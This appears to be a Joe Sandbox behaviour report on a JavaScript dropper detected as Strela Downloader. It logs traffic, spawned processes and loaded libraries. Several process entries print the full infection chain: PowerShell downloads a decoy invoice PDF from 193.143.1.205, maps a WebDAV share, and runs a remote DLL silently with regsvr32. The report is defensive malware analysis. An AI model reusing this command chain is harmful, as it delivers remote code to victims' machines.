Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2049867571.0000023AEBA2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2104420306.000001CDEBC8D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2104420306.000001CDEBC38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2104420306.000001CDEBC6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2104420306.000001CDEBC6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/h
Source: net.exe, 00000007.00000002.2104420306.000001CDEBC38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/jF
Source: svchost.exe, 00000009.00000002.3327067739.000001C97E600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2105791381.000001C97E4E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2220, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24667857242018421.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d25xid5o.j2t.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SharedDataEvents-journal.5.dr

Binary or memory string: CREATE TABLE pref_events (event_id INTEGER NOT NULL PRIMARY KEY, event_time INTEGER NOT NULL, instance_guid TEXT NOT NULL, section_name TEXT NOT NULL, pref_key TEXT, pref_value TEXT, client_nonce INTEGER NOT NULL, added INTEGER NOT NULL )0;Z

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24667857242018421.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1600,i,1825472500160440610,8265864337311220648,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1600,i,1825472500160440610,8265864337311220648,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
